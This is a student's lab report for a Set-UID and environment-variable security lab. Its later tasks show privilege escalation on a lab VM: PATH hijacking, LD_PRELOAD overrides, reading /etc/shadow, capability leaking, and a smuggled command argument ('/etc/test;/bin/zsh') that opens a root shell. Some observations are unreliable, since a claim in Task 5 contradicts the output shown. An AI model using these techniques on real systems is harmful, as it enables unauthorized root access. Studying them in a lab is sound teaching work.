Solution for Environment Variable & Set-UID Program Lab

Johnson Liu --- CIS 4360 --- Viet Tung Hoang --- Spring 2026

Task 1: Manipulating Environment Variables

To view environment variables (PWD), I used the "printenv PWD" command:

```
[04/06/26]seed@VM:~/.../Labsetup$ printenv PWD
/home/seed/Downloads/Labsetup
```

To set an environment variable I used "export MY_VAR=hello" and then I tested it by using "printenv MY_VAR":

```
[04/06/26]seed@VM:~/.../Labsetup$ export MY_VAR=hello
[04/06/26]seed@VM:~/.../Labsetup$ printenv MY_VAR
hello
```

To unset an environment variable, I used "unset MY_VAR" and then tested it by using "printenv MY_VAR":

```
[04/06/26]seed@VM:~/.../Labsetup$ printenv MY_VAR
hello
[04/06/26]seed@VM:~/.../Labsetup$ unset MY_VAR
[04/06/26]seed@VM:~/.../Labsetup$ printenv MY_VAR
[04/06/26]seed@VM:~/.../Labsetup$
```

Task 2: Passing Environment Variables from Parent Process to Child Process

I start by compiling and running the provided program, "myprintenv.c" using "gcc myprintenv.c" and then piping the output into a file. I then comment out "printenv();" in the child process and uncomment "printenv();" in the parent process, recompile, and pipe the output to another file. After using the diff command on both files, there was no output, meaning the files are identical.

```
[04/06/26]seed@VM:~/.../Labsetup$ vim myprintenv.c
[04/06/26]seed@VM:~/.../Labsetup$ gcc myprintenv.c
[04/06/26]seed@VM:~/.../Labsetup$ a.out > file2
[04/06/26]seed@VM:~/.../Labsetup$ diff file file2
[04/06/26]seed@VM:~/.../Labsetup$
```

This means that every environment variable present in the parent process is also present in the child process.

Task 3: Environment Variables and execve()

I compiled, and piped the output of "myenv.c" into a file and there was zero output:

```
[04/06/26]seed@VM:~/.../Labsetup$ gcc myenv.c
[04/06/26]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  file  file2  myenv.c  myprintenv.c
[04/06/26]seed@VM:~/.../Labsetup$ a.out
[04/06/26]seed@VM:~/.../Labsetup$ a.out myenv.c
[04/06/26]seed@VM:~/.../Labsetup$ a.out > file3
[04/06/26]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  file  file2  file3  myenv.c  myprintenv.c
[04/06/26]seed@VM:~/.../Labsetup$ cat file3
[04/06/26]seed@VM:~/.../Labsetup$
```

I then make this change:

```c
#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, environ);

  return 0 ;
}
```

After making the change, recompiling and executing: the program prints out a full copy of the calling process's environment. The new program gets its environment variables when the programmer explicitly passes the environment.

Task 4: Environment Variables and system()

After compiling and running the following program:

```c
#include <stdio.h>
#include <stdlib.h>

int main()
{
  system("/usr/bin/env");
  return 0 ;
}
```

I got a full print out of the environment variables of the shell that system() spawns:

```
[04/06/26]seed@VM:~/.../Labsetup$ gcc system.c
[04/06/26]seed@VM:~/.../Labsetup$ a.out
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH_AGENT_PID=2452
XDG_SESSION_TYPE=x11
SHLVL=1
HOME=/home/seed
OLDPWD=/home/seed/Downloads
DESKTOP_SESSION=ubuntu
GNOME_SHELL_SESSION_MODE=ubuntu
GTK_MODULES=gail:atk-bridge
MANAGERPID=2249
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
COLORTERM=truecolor
IM_CONFIG_PHASE=1
LOGNAME=seed
JOURNAL_STREAM=9:36571
_=./a.out
XDG_SESSION_CLASS=user
USERNAME=seed
TERM=xterm-256color
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
WINDOWPATH=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2489,unix/VM:/tmp/.ICE-unix/2489
INVOCATION_ID=cd3d0bf3b9c84917bb7813c204a73c44
XDG_MENU_PREFIX=gnome-
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/828b5273_6ffc_40d6_a6d2_31a8d8519fd9
XDG_RUNTIME_DIR=/run/user/1000
DISPLAY=:0
LANG=en_US.UTF-8
XDG_CURRENT_DESKTOP=ubuntu:GNOME
```

Task 5: Environment Variable and Set-UID Programs

I set up a program called “current.c” with the following code:

```c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;
int main()
{
  int i = 0;
  while (environ[i] != NULL) {
    printf("%s\n", environ[i]);
    i++;
  }
}
```

I also changed the ownership to root and made it a Set-UID program:

```
gcc current.c
sudo chown root current.c
sudo chmod 4755 current.c
```

I then exported(set) the following environment variables:

```
04/06/26]seed@VM:~/.../Labsetup$ export PATH=".:$PATH"
04/06/26]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PATH=".:$LD_LIBRARY_PATH"
04/06/26]seed@VM:~/.../Labsetup$ export TASK5_VAR="my_custom_value"
```

After running the program, I get:

```
TASK5_VAR=my_custom_value
LD_LIBRARY_PATH=.:
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=9:36571
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
```

I noticed that LD_LIBRARY_PATH is not printed, but PATH and TASK5_VAR are printed.

Task 6: The PATH Environment Variable and Set-UID Programs

I compiled the following program and changed its ownership to root as well as made it a Set-UID program:

```
#include <stdlib.h>
#include <stdio.h>

int main()
{
        system("ls");
        exit(0);
}
```

I used multiple tabs for this task. In the “original” tab aka tab 1, I copied the location /bin/cal to the command ls:

```
[04/07/26]seed@VM:~/.../Labsetup$ ls -l task6
ls: invalid option -- '-'
Usage: cal [general options] [-jy] [[month] year]
       cal [general options] [-j] [-m month] [year]
       ncal -C [general options] [-jy] [[month] year]
       ncal -C [general options] [-j] [-m month] [year]
       ncal [general options] [-bhJjpwySM] [-H yyyy-mm-dd] [-s country_code] [[month] year]
       ncal [general options] [-bhJeoSM] [year]
General options: [-31] [-A months] [-B months] [-d yyyy-mm]
[04/07/26]seed@VM:~/.../Labsetup$ ./task6
    April 2026
Su     5 12 19 26
Mo     6 13 20 27
Tu     7 14 21 28
We  1  8 15 22 29
Th  2  9 16 23 30
Fr  3 10 17 24
Sa  4 11 18 25
```

In the second tab, aka tab 2, ls is not modified. This is shown when I execute ./task6 which is the same as ls:

```
[04/07/26]seed@VM:~/.../Labsetup$ ls -l task6
-rwsr-xr-x 1 root seed 16744 Apr  7 20:20 task6
[04/07/26]seed@VM:~/.../Labsetup$ gcc task6.c -o task6
[04/07/26]seed@VM:~/.../Labsetup$ ./task6
a.out  cap_leak.c  catall.c  current.c  file  file2  file3  ls  malicious_ls.c  myenv.c  myprintenv.c  system
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown root task6
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 task6
[04/07/26]seed@VM:~/.../Labsetup$ ls -l task6
-rwsr-xr-x 1 root seed 16744 Apr  7 20:27 task6
[04/07/26]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  current.c  file  file2  file3  ls  malicious_ls.c  myenv.c  myprintenv.c  system
```

Here, in tab 1, we see that the $PATH searches through the current directory first:

```
[04/07/26]seed@VM:~/.../Labsetup$ echo $PATH
.:.:.:.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
```

While in tab 2, we see that the $PATH searches through a different path:

```
[04/07/26]seed@VM:~/.../Labsetup$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
```

To remove the countermeasure found in /bin/dash, I linked /bin/sh to /bin/zsh:

```
[04/07/26]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[04/07/26]seed@VM:~/.../Labsetup$ ls -l /bin/sh
lrwxrwxrwx 1 root root 8 Apr  7 20:48 /bin/sh -> /bin/zsh
```

I copy /bin/id to the task6 executable to test if it is able to run the malicious code:

```
[04/07/26]seed@VM:~/.../Labsetup$ ./task6
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
```

Here we see that the EUiD is 0 (root) despite the real user being seed (UID 1000). This means that we were able to run the malicious code with the root privilege.

Task 7: The LD PRELOAD Environment Variable and Set-UID Programs

After creating and compiling the following program, mylib.c:

```c
#include <stdio.h>
void sleep (int s)
{
        printf("I am not sleeping!\n");
}
```

and doing the following:

```
[04/07/26]seed@VM:~/.../Labsetup$ vim mylib.c
[04/07/26]seed@VM:~/.../Labsetup$ gcc -fPIC -g -c mylib.c
[04/07/26]seed@VM:~/.../Labsetup$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
[04/07/26]seed@VM:~/.../Labsetup$ export LD_PRELOAD=./libmylib.so.1.0.1
```

And creating the myprog.c program:

```
[04/07/26]seed@VM:~/.../Labsetup$ cat myprog.c
#include <unistd.h>

int main()
{
        sleep(1);
        return 0;
}
```

Scenario 1: regular program, normal user

```
[04/07/26]seed@VM:~/.../Labsetup$ gcc myprog.c -o myprog
[04/07/26]seed@VM:~/.../Labsetup$ ./myprog
I am not sleeping!
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwxrwxr-x 1 seed seed 16696 Apr  7 21:11 myprog
```

The malicious program has been called. This succeeded because LD_PRELOAD works normally for regular programs.

Scenario 2: Set-UID Root Program, normal user

```
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown root myprog
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[04/07/26]seed@VM:~/.../Labsetup$ ./myprog
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwsr-xr-x 1 root seed 16696 Apr  7 21:11 myprog
```

The malicious program is not called. This does not work because the dynamic linker ignored LD_PRELOAD when the EUID does not equal the RUID, despite the variable being present in the environment.

Scenario 3: Set-UID Root Program, exported from root account

```
[04/07/26]seed@VM:~/.../Labsetup$ sudo su
root@VM:/home/seed/Downloads/Labsetup# echo $LD_PRELOAD

root@VM:/home/seed/Downloads/Labsetup# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Downloads/Labsetup# echo $LD_PRELOAD
./libmylib.so.1.0.1
root@VM:/home/seed/Downloads/Labsetup# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/Downloads/Labsetup# ./m
mlc     myprog
root@VM:/home/seed/Downloads/Labsetup# ./myprog
I am not sleeping!
```

Here, we see that the malicious program is called. This succeeded because when running as root (EUID == RUID == 0), there is no privilege disparity.

Scenario 4: Set-UID Program Owned by Non-Root User, Different UID

```
[04/07/26]seed@VM:~/.../Labsetup$ sudo adduser user1
Adding user `user1' ...
Adding new group `user1' (1001) ...
Adding new user `user1' (1001) with group `user1' ...
Creating home directory `/home/user1' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for user1
Enter the new value, or press ENTER for the default
        Full Name []: user1
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] Y
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwxrwxr-x 1 seed seed 16696 Apr  7 21:31 myprog
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown user1 myprog
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwxrwxr-x 1 user1 seed 16696 Apr  7 21:31 myprog
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwsr-xr-x 1 user1 seed 16696 Apr  7 21:31 myprog
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown user1:user1 myprog
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwxr-xr-x 1 user1 user1 16696 Apr  7 21:31 myprog
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[04/07/26]seed@VM:~/.../Labsetup$ ls -l myprog
-rwsr-xr-x 1 user1 user1 16696 Apr  7 21:31 myprog
[04/07/26]seed@VM:~/.../Labsetup$ ./myprog
[04/07/26]seed@VM:~/.../Labsetup$
```

Here we see that the malicious program is not called, due to the EUID being different from RUID.

Task 8: Invoking External Programs Using system() versus execve()

I compiled and made the catall.c program a root-owned Set-UID program:

```
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown root catall
catall    catall.c
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown root catall.c
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall.c
[04/07/26]seed@VM:~/.../Labsetup$ ls -l catall.c
-rwsr-xr-x 1 root seed 471 Apr  7 21:49 catall.c
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown root catall
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall
[04/07/26]seed@VM:~/.../Labsetup$ ls -l catall
-rwsr-xr-x 1 root seed 16928 Apr  7 21:49 catall
```

After doing so, I was able to view /etc/shadow:

```
[04/07/26]seed@VM:~/.../Labsetup$ ./catall /etc/shadow
root:!:18590:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
mail:*:18474:0:99999:7:::
news:*:18474:0:99999:7:::
uucp:*:18474:0:99999:7:::
proxy:*:18474:0:99999:7:::
www-data:*:18474:0:99999:7:::
backup:*:18474:0:99999:7:::
list:*:18474:0:99999:7:::
irc:*:18474:0:99999:7:::
gnats:*:18474:0:99999:7:::
nobody:*:18474:0:99999:7:::
systemd-network:*:18474:0:99999:7:::
systemd-resolve:*:18474:0:99999:7:::
systemd-timesync:*:18474:0:99999:7:::
messagebus:*:18474:0:99999:7:::
syslog:*:18474:0:99999:7:::
```

To see if we can modify a file rather than just look into it, I inject a semicolon into the command line to append a second command into an empty file I made in the root directory.

```
[04/07/26]seed@VM:~/.../Labsetup$ ./catall "/etc/test;/bin/zsh"
VM# echo "hello" > /etc/test
VM# cat /etc/test
hello
```

.

Now we recompile, after commenting out the system(command) statement and uncommenting the execve() statement:

```
[04/07/26]seed@VM:~/.../Labsetup$ vim catall.c
[04/07/26]seed@VM:~/.../Labsetup$ gcc catall.c -o catall_execve
[04/07/26]seed@VM:~/.../Labsetup$ sudo chown root catall_execve
[04/07/26]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall_execve
[04/07/26]seed@VM:~/.../Labsetup$ ls -l catall_execve
-rwsr-xr-x 1 root seed 16928 Apr  7 22:16 catall_execve

[04/07/26]seed@VM:~/.../Labsetup$ ./catall_execve "/etc/test;/bin/zsh"
/bin/cat: '/etc/test;/bin/zsh': No such file or directory
```

Here we see that it fails. The injected semicolon does not work due to it being interpreted as data as a whole.

Task 9: Capability Leaking

After compiling, changing the owner to root, making it a Set-UID program and running it:

```
[04/07/26]seed@VM:~/.../Labsetup$ ./cap
fd is 3
$ echo "hello" > &3
zsh: parse error near `&'
$ echo "hello
> ecjp
> echo "hello">
> echo "hello" > &3
> echo "hello" >&3
> exit
> exot
> exit
>
$
$ r
$ exit
[04/07/26]seed@VM:~/.../Labsetup$ cat /etc/test
hello
[04/07/26]seed@VM:~/.../Labsetup$ cat /etc/zzz
cat: /etc/zzz: Permission denied
[04/07/26]seed@VM:~/.../Labsetup$ catall /etc/zzz
hello
```

Here we see that we were able to write to a protected file as a non root user:

```
[04/07/26]seed@VM:~/.../Labsetup$ ls -l /etc/zzz
-rw------- 1 root root 18 Apr  7 22:46 /etc/zzz
```